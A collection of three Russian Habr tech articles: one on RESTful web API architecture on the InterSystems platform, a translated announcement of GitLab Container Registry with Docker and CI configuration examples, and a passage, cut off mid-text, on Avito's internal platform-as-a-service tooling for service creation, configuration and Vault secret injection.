Архитектура RESTful web API
---------------------------
Надеюсь, что читатель знаком с тем что такое RESTful web API и основами его реализации на платформе InterSystems (доступно начиная с версии 2014.1). Этому посвящено много статей/вебинаров/обучающих курсов в частности и [моя предыдущая статья](https://habrahabr.ru/company/intersystems/blog/204576/). В любом случае первое с чего хотелось бы начать это общая высокоуровневая архитектура вашего приложения, включающего RESTful web API. Выглядеть она может следующим образом:
На этой схеме представлены основные уровни вашего решения:
### Данные
Хранимые классы на платформе InterSystems.
### Терминальное API
Слой взаимодействия с данными. Данные не должны изменяться иначе, чем через это API.
Методы этого API не пишут на устройство. Терминальное API может возвращать:
* Объект
* Статус или исключение (в зависимости от ваших предпочтений)
### Web API
Преобразует входящий запрос в форму, понимаемую терминальным API и вызывает методы терминального API. Результата выполнения терминального API возвращаются клиенту.
Web API не взаимодействует с данными напрямую. Употребляю термин Web API а не RESTful web API, т.к. Web API может быть реализовано с применением иной архитектуры, например на основе протокола WebSocket который также поддерживается платформой InterSystems, о чём уже [писали на Хабре](https://habrahabr.ru/company/intersystems/blog/181113/) и [не раз](https://habrahabr.ru/company/intersystems/blog/144311/).
### Клиент
Как правило JavaScript (но совсем необязательно) приложение доступное конечному пользователю. Этот уровень не должен иметь прямых связей с базой данных, быть нагруженным основной бизнес-логикой и хранить состояние приложения. На этот уровень обычно выносится только простейшая бизнес-логика: интерфейс авторизации, проверка вводимых значений на допустимость и соответствие формату, несложные операции с данными (сортировка, группировка, подсчёт значений), уже загруженными на клиент.
Подобное разделение увеличивает конфигурируемость приложения, облегчает его отладку, поиск и исправление ошибок. По сути это [трёхуровневая архитектура](https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D1%91%D1%85%D1%83%D1%80%D0%BE%D0%B2%D0%BD%D0%B5%D0%B2%D0%B0%D1%8F_%D0%B0%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D0%B0) построения приложений.
Брокеры
-------
Брокеры это классы, содержащие логику вашего RESTful web API. Они:
* Наследуются от `%CSP.REST`
* Содержит пути – сопоставления URI и вызываемых методов
Пример пути:
Где `ClassMethod` – любой метод класса.
Разделение брокеров
-------------------
### «Физическое» разделение
Так как в RESTful web API может быть много путей — методов, один брокер скоро будет перегружен методами. Чтобы этого не произошло разделяйте брокеры на несколько классов следующим образом:
Где:
* Абстрактный брокер отвечает за преобразование запросов, CORS и прочие технические моменты не связанные с логикой RESTful web API.
* Брокеры 1..N собственно содержит методы, обрабатывающие запросы (вызывающие методы терминального API и возвращающие ответы терминального API клиенту).
### «Логическое» разделение и версионирование
Обычно Брокеры содержит пути – сопоставления URI и вызываемых методов, но кроме путей брокеры могут «передавать» запросы друг другу. Выглядит это так:
Это позволяет провести разделение брокеров по предметным областям с которыми они связаны, а также обеспечить версионирование API:
Параметры брокеров
------------------
Вот параметры которые рекомендуется установить в брокерах вашего RESTful web API:
```
Parameter CONTENTTYPE = {..#CONTENTTYPEJSON};
Parameter CHARSET = "UTF-8";
Parameter UseSession As BOOLEAN = 1;
```
Вот за что они отвечают:
* CONTENTTYPE — добавляет во все ответы сервера информацию о том, что ответ будет в формате JSON.
* CHARSET — конвертирует ответ в формат UTF8.
* UseSession — использует сессию для запросов пользователя. Подробнее об этом в разделе аутентификация.
Так как все брокеры наследуются от одного абстрактного брокера, то эти параметры достаточно указать один раз в абстрактном брокере (наследуются только параметры первого суперкласса).
Обобщение кода
--------------
Одна из проблем, часто возникающих при написании RESTful web API это копипаста кода из брокера в брокер, что создаёт большое число путей и строк кода. Для избежания этого рекомендую использовать [кодогенерацию](http://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GOBJ_generators) совместно с [пакетом %Dictionary](http://docs.intersystems.com/latest/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=%25Dictionary.ClassDefinition) содержащим всю метаинформацию необходимую для написания метод-генераторов. Примером активного использования кодогенерации является [библиотека RESTForms](https://habrahabr.ru/company/intersystems/blog/330822/). Кроме того использование кодогенерации позволяет достичь большего единообразия вашего RESTful web API.
CORS
----
[Технология](https://ru.wikipedia.org/wiki/Cross-origin_resource_sharing) современных браузеров, которая позволяет предоставить веб-странице доступ к ресурсам другого домена. Для включения доступа к вашему RESTful web API с использованием CORS добавьте в брокер параметр:
```
Parameter HandleCorsRequest = 1;
```
Что предоставит доступ с любого другого домена. Это небезопасно и поэтому надо также переопределить метод `OnHandleCorsRequest`, его сигнатура:
```
ClassMethod OnHandleCorsRequest(pUrl As %String) As %Status {}
```
Этот метод должен проверять Origin запроса, к примеру он должен совпадать с именем хоста веб-приложения. Для получения Origin можно использовать вот такой метод:
```
ClassMethod GetOrigins() As %String
{
set url = %request.GetCgiEnv("HTTP_REFERER")
return $p(url,"/",1,3) // get http(s)://origin.com:port
}
```
Аутентификация
--------------
Для того чтобы один пользователь потреблял одну лицензию и работал в рамках одной сессии нужно сконфигурировать в Портале Управления Системой ваши REST и CSP приложения так, чтобы выполнялись условия:
1. Во всех брокерах `Parameter UseSession = 1;`.
2. Все веб приложения доступны только с аутентификацией.
3. У всех веб приложений установлен таймаут сессии (900, 3600).
4. У всех приложений установлено одно значение `GroupById`.
5. У всех приложений установлено одно значение `Cookie Path`.
Инструменты отладки и тестирования
----------------------------------
Для отладки можно использовать такие внешние средства как:
* REST клиент (например Postman) — первоочередной инструмент отладки RESTful web API позволяет сохранять и документировать запросы, форматировать JSON ответы, выполнять запросы к нескольким окружениям и предоставляет многие другие удобства для разработчика.
* Перехватывающий прокси-сервер (например Fiddler) — позволяет перехватывать, отображать, редактировать и дублировать запросы к RESTful web API.
* Анализатор трафика (например WireShark) — помогает в случаях битых пакетов, проблем с кодировками, необходимостью анализа удалённой системы и прочими ситуациями когда вышеназванных инструментов недостаточно.
Настоятельно не рекомендую использовать инструменты командной строки, такие как curl и wget.
Подробно внешние и внутренние средства отладки описаны в серии статей ([Часть 1 — внешние средства](https://community.intersystems.com/post/debugging-web), [Часть 2 — внутренние средства](https://community.intersystems.com/post/debugging-web-part-2)) на [InterSystems Developer Community](https://community.intersystems.com/).
Примеры
-------
Приведу несколько примеров RESTful web API.
### MDX2JSON и клиент DeepSeeWeb
[MDX2JSON](https://github.com/intersystems-ru/Cache-MDX2JSON) — RESTful web API предоставляет информацию о кубах, пивотах, дашбордах и многих других элементах DeepSee, в частности — результатах исполнения MDX запросов, что позволяет встраивать пользовательский интерфейс аналитического решения на DeepSee в любое современное Web или мобильное приложение. Работает начиная с версии 2014.1.
[DeepSeeWeb](https://github.com/intersystems-ru/DeepSeeWeb) — AngularJS приложение, предоставляющее альтернативную реализацию портала пользователя DeepSee. Может быть легко кастомизирован. Использует MDX2JSON в качестве бэкэнда. Вот пример дашборда визуализированного в DeepSeeWeb:
Подробная статья про [DeepSee](https://habrahabr.ru/company/intersystems/blog/335586/).
### EnsembleWorkflow и клиент EnsembleWorkflowUI
В интеграционной платформе InterSystems есть подсистема [Ensemble Workflow](https://habrahabr.ru/company/intersystems/blog/251611/), позволяющая людям участвовать в автоматизированных бизнес-процессах. [Ensemble Workflow RESTful web API](https://github.com/intersystems-ru/EnsembleWorkflow) и клиент [EnsembleWorkflowUI](https://github.com/intersystems-ru/EnsembleWorkflowUI). RESTful web API предоставляет доступ к задачам пользователя. Работает начиная с версии 2014.1. Вот так выглядит визуализация:
### RESTForms
[RESTForms](https://habrahabr.ru/company/intersystems/blog/330822/) — универсальный RESTful web API бэкэнд работы с данными на платформе InterSystems 2016.1+ для современных веб-приложений.
Вот часть путей, доступных в RESTForms:
| URL | Описание |
| --- | --- |
| info | Список классов |
| info/all | Метаинформация всех классов |
| info/:class | Метаинформация одного класса |
| object/:class/:id | Получить объект |
| object/:class/:id/:property | Получить свойство объекта |
| object/:class | Создать объект |
| object/:class/:id | Обновить объект из динамического объекта |
| object/:class | Обновить объект из объекта класса |
| object/:class/:id | Удалить объект |
| objects/:class/:query | Выполнить SQL запрос |
В этом проекте активно используется обобщение кода (с помощью кодогенерации и использования пакета `%Dictionary`).
Доступны клиенты на [Angular](https://github.com/intersystems-ru/RESTFormsUI) и [React](https://github.com/intersystems-ru/RESTFromsUI-react), выглядит это так:
JSON
----
JavaScript Object Notation — текстовый формат обмена данными, использующийся совместно с RESTful web API. Поддержка JSON на платформе InterSystems появилась начиная с версии 2009.2, но была значительно улучшена к версии 2016.2. Подробнее об использовании JSON можно почитать в [документации](http://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GJSON).
Выводы
------
* REST на сегодня – основная и общепринятая методика построения API для сети интернет
* Предоставляя RESTful web API вы получаете возможность выбора из огромного набора технологий построения клиентских приложений, в том числе:
+ JavaScript (AngularJS, React, extJS, ...)
+ Мобильные приложения (Cordova и подобные, Native)
* Технологии InterSystems позволяют вам с лёгкостью создавать RESTful web API.
Ссылки
------
* [Часть I](https://habrahabr.ru/company/intersystems/blog/204576/)
* [Вебинар про архитектуру RESTful web API](https://www.youtube.com/watch?v=PISLMjpmIvY)
* [Вебинар про разработку RESTful web API](https://www.youtube.com/watch?v=Q7xqqKEwv7U)
* [Документация](http://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GREST_services)
* [Серия статей про разработку RESTful web API](https://community.intersystems.com/post/lets-write-angular-1x-app-cach%C3%A9-rest-backend-start-here) | https://habr.com/ru/post/345532/ | null | ru | null |
# GitLab Container Registry
*В мае этого года вышел релиз [ГитЛаба 8.8](https://habrahabr.ru/company/softmart/blog/302884/). Частью этого релиза был запуск встроенного Docker Container Registry. Ниже перевод майской статьи, посвященной этому.*
Недавно нами был выпущен [GitLab версии 8.8](https://habrahabr.ru/company/softmart/blog/302884/), в которой поддержка CI стала еще лучше. Теперь в GitLab можно строить конвейеры (pipelines) для визуализации сборок, тестов, развертывания и любых других этапов жизненного цикла вашего ПО. Сегодня мы представляем вам следующий этап: GitLab Container Registry .
GitLab Container Registry — это безопасный приватный реестр для образов (images) Docker, разработанный с помощью [ПО с открытым кодом](https://github.com/docker/distribution). GitLab Container Registry *полностью* интегрирован в GitLab.
Ключевыми особенностями GitLab являются непрерывность процесса разработки и взаимная интеграция различных элементов; эти принципы сохраняются и при работе с нашим реестром. Теперь при помощи GitLab Container Registry вы можете использовать ваши Docker-образы для GitLab CI, создавать специальные образы для отдельных тегов и веток, а также многое другое.
Стоит отметить, что GitLab Container Registry является первым реестром Docker, полностью интегрированным в систему управления Git-репозиториями. Кроме того, GitLab Container Registry не требует отдельной установки, так как является частью GitLab 8.8; c его помощью можно легко скачивать и загружать образы на GitLab CI. И еще он бесплатный.
Для того, чтобы узнать, как включить использование GitLab Container Registry, обратитесь к [документации для администратора](http://docs.gitlab.com/ce/administration/container_registry.html).
Основы Docker
-------------
Основной единицей работы с Docker является образ, в котором содержится все необходимое для запуска и работы приложения. Зачастую образы создаются автоматически, как часть процесса непрерывной интеграции — то есть они обновляются при каждом изменении кода. В случаях, когда образы создаются для совместного использования, их нужно где-то хранить. Как раз для этого и применяется реестр образов.
Реестр позволяет хранить образы для дальнейшего переиспользования и категоризовать их, используя теги. Хорошей идеей является создание реестра для хранения приватных образов, используемых только внутри компании, или, к примеру, образов для запуска и прогона тестов. При использовании GitLab Container Registry не нужно настраивать и поддерживать дополнительные сервисы или использовать публичные реестры.
Тесная интеграция с GitLab
--------------------------
GitLab Container Registry полностью интегрирован в GitLab, что позволяет разработчикам с легкостью создавать, тестировать и запускать образы Docker, используя GitLab CI или другие инструменты, совместимые с Docker.
* Для аутентификации и разграничения доступа используются пользователи и группы из вашего инстанса GitLab.
* Нет необходимости создавать дополнительные репозитории для работы с реестром – реестр является частью вашего проекта в GitLab.
* В проекте появляется новая вкладка Container Registry, в которой перечислены все образы, относящиеся к данному проекту.
* У каждого проекта может быть собственный реестр образов (опционально, может быть отключено для любого отдельного проекта).
* Можно легко скачивать и загружать образы на GitLab CI.
* Не нужно скачивать и устанавливать дополнительный софт.
Упростите ваш рабочий процесс
-----------------------------
Работа с GitLab Container Registry проста и безопасна. Вот несколько примеров того, как использование GitLab Container Registry может упростить процесс разработки и развертывания ПО:
* Проводите сборку образов Docker с помощью GitLab CI с последующим их хранением в GitLab Container Registry.
* Привязывайте образы к веткам, тегам исходного кода или используйте любой другой способ, подходящий для вашего процесса разработки. Созданные образы можно быстро и легко сохранить на GitLab.
* Используйте собственные образы сборок, хранящиеся в вашем реестре, для тестирования приложений.
* Пусть остальные участники команды также участвуют в разработке образов. Это не потребует от них дополнительных усилий, так как используется тот же рабочий процесс, к которому они привыкли. GitLab CI позволяет проводить автоматическую сборку образов, унаследованных от ваших, что в свою очередь позволяет с легкостью добавлять фиксы и новые фичи в базовый образ, используемый вашей командой.
* Настройте CaaS на использование образов напрямую из GitLab Container Registry, получив таким образом процесс непрерывного развертывания кода. Это позволит проводить автоматическое развертывание приложений в облако (Docker Cloud, Docker Swarm, Kubernetes и т. п.) каждый раз, когда вы собираете или тестируете образ.
С чего начать?
--------------
В первую очередь, попросите вашего системного администратора подключить GitLab Container Registry так, как описано в [документации для администратора](http://docs.gitlab.com/ce/administration/container_registry.html)..
После этого вы сможете включить опцию **Container Registry** в вашем проекте.
Для того, чтобы начать использовать реестр, сперва нужно залогиниться:
```
docker login registry.example.com
```
После этого можно просто собирать и пушить образы на GitLab:
```
docker build -t registry.example.com/group/project .
docker push registry.example.com/group/project
```
Также GitLab предоставляет простой интерфейс для управления контейнерами. Нажмите на **Container Registry** в вашем проекте — в открывшемся окне вы увидите все теги в вашем репозитории и легко сможете удалить любой из них.
> Для получения более подробной информации обратитесь к [GitLab Container Registry user guide](http://docs.gitlab.com/ce/container_registry/README.html).
Используйте совместно с GitLab CI
---------------------------------
Встроенный интерфейс для управления CI GitLab’а можно использовать для сборки, пуша и развертывания созданных образов.
> **Внимание:** для этого требуется GitLab Runner 1.2.
>
>
>
> **Внимание:** Для того, чтобы использовать Docker в образах Docker, необходимо установить [флаг privileged](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/blob/master/docs/executors/docker.md#use-docker-in-docker-with-privileged-mode) в конфигурации Runner’а. ~~Пока что это **невозможно** сделать в общих (shared) Runner’ах на GitLab.com. Мы планируем добавить этот флаг в ближайшее время, а пока что стоит использовать собственные Runner’ы.~~
Вот пример конфигурационного файла GitLab CI (`.gitlab-ci.yml`), который собирает образ, запускает тесты и, в случае их успешного прохождения, присваивает билду тег и загружает билд в реестр образов:
```
build_image:
image: docker:git
services:
- docker:dind
script:
- docker login -u gitlab-ci-token -p $CI_BUILD_TOKEN registry.example.com
- docker build -t registry.example.com/my-group/my-project .
- docker run registry.example.com/my-group/my-project /script/to/run/tests
- docker push registry.example.com/my-group/my-project:latest
only:
- master
```
Пример более сложного образа, который разделяет задания на 4 стадии, в рамках которых два теста исполняются параллельно. Билд сохраняется в реестре образов и используется на последующих стадиях, автоматически скачивая образ при необходимости. Изменениям в мастер-ветку присваиваются тег `latest`, после чего происходит развертывание этих изменений с использованием индивидуального для данного приложения скрипта:
```
image: docker:git
services:
- docker:dind
stages:
- build
- test
- release
- deploy
variables:
CONTAINER_TEST_IMAGE: registry.example.com/my-group/my-project:$CI_BUILD_REF_NAME
CONTAINER_RELEASE_IMAGE: registry.example.com/my-group/my-project:latest
before_script:
- docker login -u gitlab-ci-token -p $CI_BUILD_TOKEN registry.example.com
build:
stage: build
script:
- docker build -t $CONTAINER_TEST_IMAGE .
- docker push $CONTAINER_TEST_IMAGE
test1:
stage: test
script:
- docker run $CONTAINER_TEST_IMAGE /script/to/run/tests
test2:
stage: test
script:
- docker run $CONTAINER_TEST_IMAGE /script/to/run/another/test
release-image:
stage: release
script:
- docker pull $CONTAINER_TEST_IMAGE
- docker tag $CONTAINER_TEST_IMAGE $CONTAINER_RELEASE_IMAGE
- docker push $CONTAINER_RELEASE_IMAGE
only:
- master
deploy:
stage: deploy
script:
- ./deploy.sh
only:
- master
```
Подводя итоги
-------------
GitLab Container Registry — последнее на данный момент дополнение к встроенному набору инструментов для цикла разработки ПО GitLab. Это дополнение доступно начиная с версии [GitLab 8.8](https://habrahabr.ru/company/softmart/blog/302884/). С использованием этой функциональности проводить тестирование и развертывание образов Docker стало гораздо проще. GitLab Container Registry идет в комплекте с GitLab CE и GitLab EE без какой-либо доплаты и устанавливается поверх той же инфраструктуры, что настроена у вас для GitLab.
Container Registry доступен на GitLab.com, он абсолютно бесплатен, и вы можете начать пользоваться им прямо сейчас!
> **Важно**: Для того, чтобы использовать Docker в образах Docker необходимо установить [флаг privileged](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/blob/master/docs/executors/docker.md#use-docker-in-docker-with-privileged-mode) в настройках Runner’а. ~~Пока что **это невозможно** сделать в общих Runner’ах на GitLab.com. Мы планируем добавить этот флаг в ближайшее время.~~ Все уже ок.
P.S. Будет здорово, если поделитесь опытом использования в комментариях.
*Перевод с английского выполнен переводческой артелью «Надмозг и партнеры», <http://nadmosq.ru>. Над переводом работал [sgnl\_05](https://habrahabr.ru/users/sgnl_05/).* | https://habr.com/ru/post/309102/ | null | ru | null |
# Платформа как сервис в Авито: как это устроено
Привет, Хабр! Меня зовут Александр Лукьянченко, я тимлид команды, которая занимается платформой в Авито. В этой статье я расскажу о проблемах, которые возникали у нас при построении платформы для инженеров и том, какие технические решения мы использовали, чтобы эти проблемы устранить. Текст охватывает ту часть наших наработок, которые потенциально можно переиспользовать другим компаниям.
Что такое платформа и зачем она нужна
-------------------------------------
Для начала о том, что же такое платформа и как определить, является ли набор инструментов платформой. По сути это набор хорошо проработанных решений, позволяющий продуктовой разработке не тратить много времени на рутинные задачи и низкоуровневые инструменты. Они могут быть реализованы хорошо сразу для всей компании централизованно.
Платформа в Авито нужна как минимум для трёх вещей: снижения оверхеда на интеграцию с инфраструктурой, для переиспользования лучших инженерных практик и возможности централизованного контроля технологий и решений.
**Снижение оверхэда на интеграцию с инфраструктурой.** Если мы вводим новые инфраструктурные решения, со всеми этими инструментами нужно уметь интегрироваться. Каждому инженеру из продуктовой команды нужно изучить соответствующий тулинг, чтобы полноценно овладеть технологией и эффективно её использовать. Хорошим примером может быть введение новой системы deploy, внедрение service mesh решения. Инструменты становятся необходимыми для корректного функционирования системы, но для их грамотного использования нужно хорошо погрузиться в детали реализации.
**Переиспользование лучших практик.** Внедрить новый подход или технологию на большую компанию сложно, если нет единой платформы. Придётся сходить во все команды и рассказать, почему старая практика менее эффективна и удобна, составить план перехода. Затем предстоит долгий путь внедрения.
**Возможность централизованно контролировать технологии и решения.** Когда компания растёт, в ней рождается большое количество решений, которые закрывают одну и ту же проблему. Если у вас есть единая платформа, то большинство общих задач может быть решено там, это экономит время и силы разработчиков. В то же время хорошо контролирует «зоопарк».
Прежде чем мы нырнем в подробности и поговорим про PaaS, обрисую немного особенности нашей системы. Мы не используем облачные провайдеры, всё железо у нас своё. Почти все решения open source: начиная от основы облака, заканчивая инструментами вокруг него.
Краткая эволюция платформы
--------------------------
Давайте посмотрим, как была устроена платформа четыре года назад, к чему мы пришли и над чем работаем сейчас.
Инфраструктура состоит из множества инструментов, у каждого из которых свой интерфейс. С каждым из интерфейсов инженеры должны уметь интегрироваться и собирать их в единое целое, чтобы эффективно использовать. Вот схема с инструментами, которыми мы пользуемся в повседневной работе:
Когда мы начинали строить централизованную платформу в Авито, то взяли в виде оркестратора Kubernetes. Он был установлен «как есть», и в нетронутом виде поставлялся в продуктовые команды для разворачивания stateless частей Авито. Чтобы ограничивать его использование и доступные разным инженерам и внешним компонентам фичи, мы использовали стандартный механизм RBAC. Далее вся инфраструктура обрастала вокруг оркестратора. Мы автоматизировали явные бутылочные горлышки, которые могли, например, пайплайны для деплоя сервисов в CI.
Но в итоге разработчики использовали низкоуровневые интерфейсы: Helm для деплоя, kubectl для работы с Kubernetes. По сути, они были своего рода администраторами системы, потому что полноценно занимались всем циклом от разработки до деплоя в продакшн с эксплуатацией.
Спустя два года развития мы поняли, что для наиболее правильного использования всех инструментов с иллюстрации выше разработчикам нужно потратить достаточно большое количество времени. Для тех, кто ранее не был с ними знаком, это могут быть недели изучения. С ростом компании, когда инженеров становилось всё больше, мы увидели что это начало становиться проблемой. Специалист, которого мы находили снаружи, не всегда знал всё множество технологий, которые у нас используются, и в итоге онбординг был долгим.
Вот для контекста небольшая часть вопросов, которые приходили в саппорт платформы:
* Почему у меня нет метрик в staging?
* Как положить секрет в Vault?
* Какие ресурсы поставить в deployment?
* Сервис упал, куда смотреть?
* Как прокинуть хост наружу?
* Что, опять переезжаем в новый кластер?
* Почему у меня upgrade failed waiting for a condition?
* Как подключить PostgreSQL к сервису?
Часть вопросов повторялась, другая их часть — острые углы, с которыми столкнулся отдельный разработчик. Каждый из вопросов отнимал не только время платформенной команды на то, чтобы разрулить и сделать какую-то вещь удобной, но и время, которое тратили продуктовые разработчики для того, чтобы решить бизнес-задачу.
Чтобы решить проблему, мы изменили курс развития платформы, и пришли к концепции PaaS — платформа как сервис. По сути это эволюция того, что мы делали, но она немного отличается от использования низкоуровневых инструментов.
Есть много разных реализаций PaaS, но все они вкладывают своё понимание того, что же такое платформа как сервис. Вот несколько важных поинтов, которые вкладываем в это понятие мы:
**Максимальная автоматизация.** Мы автоматизируем все рутинные операции, которые можем.
**Построение продукта, который закрывает реальные потребности разработчиков.** Мы смотрим на платформу не как на инфраструктуру, которая состоит из множества кубиков, которые нужно складывать воедино, а как на продукт, который удовлетворяет потребности и закрывает пользовательские боли. Мы ведём PaaS как продукт для разработчиков внутри большого продукта Авито.
**Низкий порог входа и максимальная концентрация на скорости доставки фич.** Когда в компанию приходят новые разработчики, им нужно много времени для адаптации. Поэтому PaaS подразумевает низкий порог входа и простое взаимодействие со всеми компонентами.
**Нулевой оверхэд интеграции с инфраструктурой.** Интеграции, которые нужно проводить со стороны разработки, должны быть автоматизированы со стороны платформы. Это возможно не всегда, но большинство случаев платформа закрывает.
Если смотреть на текущую платформу со стороны пользователя, то в ней есть два основных интерфейса: командная утилита Авито и PaaS dashboard. Разные настройки и инструменты, которые были раньше, инкапсулированы и скрыты за красивой крышкой этих двух интерфейсов.
Командная утилита Авито позволяет делать практически все действия, которые есть в платформе, от создания сервиса до его эксплуатации и выкатки. PaaS dashboard — это инструмент визуализации. Он дублирует некоторые фичи Авито-утилиты, позволяет посмотреть дополнительную информацию, о которой мы поговорим ниже.
*PaaS Dashboard — главная страница одного из сервисов*
Проблемы и технические решения
------------------------------
В технической части я буду рассказывать про проблемы и боли, а потом про их решения. Пойдём по следующему жизненному циклу разработки:
1. Создание сервиса.
2. Разработка.
3. Тестирование.
4. Доставка сервиса.
5. Эксплуатация сервиса.
Этапы с первого по третий по сути формируют готовый к релизу продукт. Четвёртый и пятый пункты уже ближе к операционной части.
### Создание сервисов
Какие тут есть боли? Простая операция: зашли в Bitbucket или GitLab, и создали репозиторий. Потом зарегистрировались в системе учёта, создали порядка десяти различных ресурсов: CI, Sentry, Grafana, Kibana, прописали правила внешней балансировки и ещё зашли в несколько наших внутренних систем и получили готовый сервис.
Кажется, что процесс — не проблема, потратил 20 минут, и готово. Но на самом деле это моральный барьер, который встаёт перед разработчиком, когда нужно создать новый сервис. Плюс, создавая сервис руками, легко забыть про один из ресурсов.
Чтобы решить эту боль, мы автоматизировали процесс сведением всего в одну команду под названием `avito service create`. Она проводит пользователя через специальный wizard, спрашивает, какой нужен шаблон, задаёт ещё пару вопросов, и автоматически создаёт сервис со всеми нужными ресурсами.
В итоге пользователь получает репозиторий, полностью готовые CI-пайплайны, все нужные observability-ресурсы, политики и настройки доступа извне. Опыт создания сервисов сильно улучшается.
### Разработка сервисов
Здесь уже больше движимых частей, чем в создании сервисов. Давайте посмотрим на основные.
Первое — это **структура сервисов**. Если дать всем разработчикам возможность пилить сервисы с нуля, мы получим реализации, которые будут отличаться практически во всем. Несмотря на то, что паттерны и подходы будут использоваться примерно одинаковые, выглядеть все сервисы будут по-разному. Будут отличаться даже базовые штуки вида метрик, логов, интерфейсов. Мы получим долгий вход: когда разработчик захочет что-то закоммитить в чужой сервис, это станет настоящей проблемой. Нужно будет разобраться, осознать, как правильно сделать изменения, и только потом сделать pull request. Это долго и болезненно.
Очевидное решение — унификация структуры. Мы сделали единую структуру для каждой технологии, шаблон, в котором есть поддержка всех основных инструментов. В шаблоне есть метрики, логи, хелсчеки, поддержка автогенерации кода, RPC-взаимодействия и асинхронного взаимодействия. Такие вещи автоматизированы под каждую из технологий, которые мы используем в Авито. Бонусом унификация позволяет контролировать «зоопарк» и распространять только технологии, которые уже опробованы в компании.
Следующий момент — это **конфигурация сервисов**. Тут у нас был достаточно длинный эволюционной путь. Начинали мы со стандартных plain Kubernetes-манифестов, которые разработчики писали сами. Мы загружали их в специальной репозиторий, и с помощью администраторов раскатывали в нужное окружение.
Несколько месяцев спустя мы перешли на Helm-чарты. Helm позволяет объединить множество манифестов в единую коробочку, которую удобно деплоить. Через пару лет мы посмотрели на манифесты и увидели, что в каждом репозитории рядом с каждым сервисом есть директория helm, которая занимает примерно 40 килобайт чистого YAML-текста и очень многословное описание для деплоя сервиса.
Когда мы подиффали все helm-директории между сервисами, то узнали, что diff между ними — это несколько строк в большинстве случаев. Так как мы распространяли их вместе с шаблонами, разработчики меняли несколько строк, которые отличают настройку конкретного сервиса, а всё остальное было примерно одинаковым. Получалось, что при изменении одной опции во всех сервисах нужно было делать условные 500 пул реквестов, дожидаться их апрувов, мержа и выкатки. Мы решили, что стоит вынести все движимые части в один манифест, а остальное убрать из сервисов.
Таким манифестом стал **app.toml**. Это минималистичное описание, в котором есть движимые части, специфичные конкретному сервису.
Огромные манифесты могут автоматически генерироваться на основе app.toml, в нём есть специальная секция engine, движок, с помощью которого мы точно понимаем, какие манифесты нужны этому сервису, и уже можем сгенерить манифест под нужную технологию:
```
description = "process user info"
kind = "business"
replicas = 1
[engine]
name = "golang"
version = "1.14"
size = "small"
[envs.prod]
replicas = 70
```
Почему app.toml? Формат TOML позволил уйти от вложенной структуры, которая до этого была у нас в YAML. Исчезли манифесты, для которых приходилось пользоваться линейкой, чтобы понять, на сколько табов сдвигать очередную настройку, чтобы она заработала.
С TOML мы решили проблему с окружениями. В Helm мы использовали values файлы. Каждый для своего окружения: values.staging.yaml, values.prod.yaml и values.test.yaml. После внедрения единого манифеста всё это стало не нужно. Теперь в одном файле описаны все настройки для всех окружений, причём это удобно читается и не нужно прыгать по трём файлам для того, чтобы понять как меняется настройка в зависимости от окружения. А всю бизнес-конфигурацию мы начали делать с помощью переменных окружения.
Как мы живём с app.toml? Кто превращает его в реальные манифесты для Kubernetes? Мы сделали выделенный сервис под названием helmgen. Это историческое название, раньше он генерировал Helm-манифесты, а сейчас отдаёт plain Kubernetes-манифесты. Helmgen принимает на вход app.toml, и пропускает через себя все имеющиеся настройки, а на выходе отдаёт готовые к применению в кластер Kubernetes-манифесты, которые выкатываются деплоером.
*Схема deploy с использованием helmgen для генерации манифестов*
Helmgen — это сервис с API, он един для всей платформы. Все новые фичи, которые мы делаем, сразу становятся доступными для всех. То есть, к примеру, если мы захотели подкинуть какую-нибудь новую переменную окружения или добавить новый sidecar, заменить специальные аннотации по всем deployment, эта фича сразу же становится доступна для всех сервисов.
При каждом деплое мы получаем новые манифесты, самые актуальные. Это удобный и гибкий подход, который позволяет сильно упростить платформенную разработку в плане создания манифестов. Единственный неприятный момент — если в сервисе helmgen сделать ошибку, то мы сразу ломаем манифесты всех сервисов, которые будут выкатываться. Поэтому мы покрываем его достаточно мощно тестами, особенно snapshot-тестами, и смотрим, как меняются манифесты после изменения его кода.
Следующая боль разработчиков — это **управление секретами**. Мы используем Vault. Раньше для подключения интеграции с ним мы использовали готовые helm-манифесты, которые подкидывали в helm-директорию с сервисом с помощью helm chart.
Здесь есть несколько проблем. Во-первых, нужно понимать, как работает Vault. Разбираться, как именно в его древовидной системе разложить ключи по путям, и правильно подключить интеграцию в Helm. Подводных камней в этом процессе хватает, достаточно что-нибудь неправильно скопипастить, и всё развалится. При этом узнать корректность настройки можно только в продакшене: даже если отладить всё в стейджинге, манифесты немного отличаются между окружениями, поэтому полноценно увидеть, что всё разнесло, получится только на финальном этапе.
Как мы с этим боремся? Мы приняли, что секреты — это часть конфигурации. С помощью PaaS Dashboard разработчик вносит key value значение как переменную окружения, авторизуясь через dex в Kubernetes. Далее сервис раскатывается в namespace, который соответствует его имени. Kubernetes namespace для нас security-единица, по которой мы автоматически понимаем, какие секреты нужны сервису. В итоге в рантайме сервис автоматически получает все нужные секреты.
Понять, как всё происходит, проще по картинкам ниже. Мы написали утилиту Vault2env, это небольшой Go-бинарь, который стартует перед каждым сервисом. Когда поднимается сервис, запускается Vault2env. Он поставляется с помощью базового образа, и стартует в самом начале (entrypoint). Vault2env с помощью дефолтного kube-токена идёт в Vault, Vault его авторизует и отдаёт секреты в утилиту:
Получает секреты:
Экспортирует их для сервиса и запускает процесс с сервисом. В результате у сервиса есть все нужные для работы секретные переменные окружения. Разработчик ничего не делает для интеграции, секреты появляются автоматически.
Следующий проблемный момент — это **взаимодействие сервисов**. При переходе на микросервисную архитектуру получается много сетевого взаимодействия. Нужно везде:
* описывать новых клиентов для подключения к сервисам;
* не забывать обрабатывать разного рода ошибки: dns resolve, подключения, бизнес тайм-ауты;
* использовать circuit breaker библиотеки;
* следить за применением различных паттернов реализации взаимодействия между сервисами;
* прокидывать нужные хедеры;
* следить за тем, что тайм-ауты, которые мы выставляем на походы из сервиса в сервис, соответствуют нефункциональным требованиям сервисов. Не должно быть такого, что мы поставили тайм-аут в 200 миллисекунд, когда сервис, в который мы идём, в свою базу данных идёт секунду.
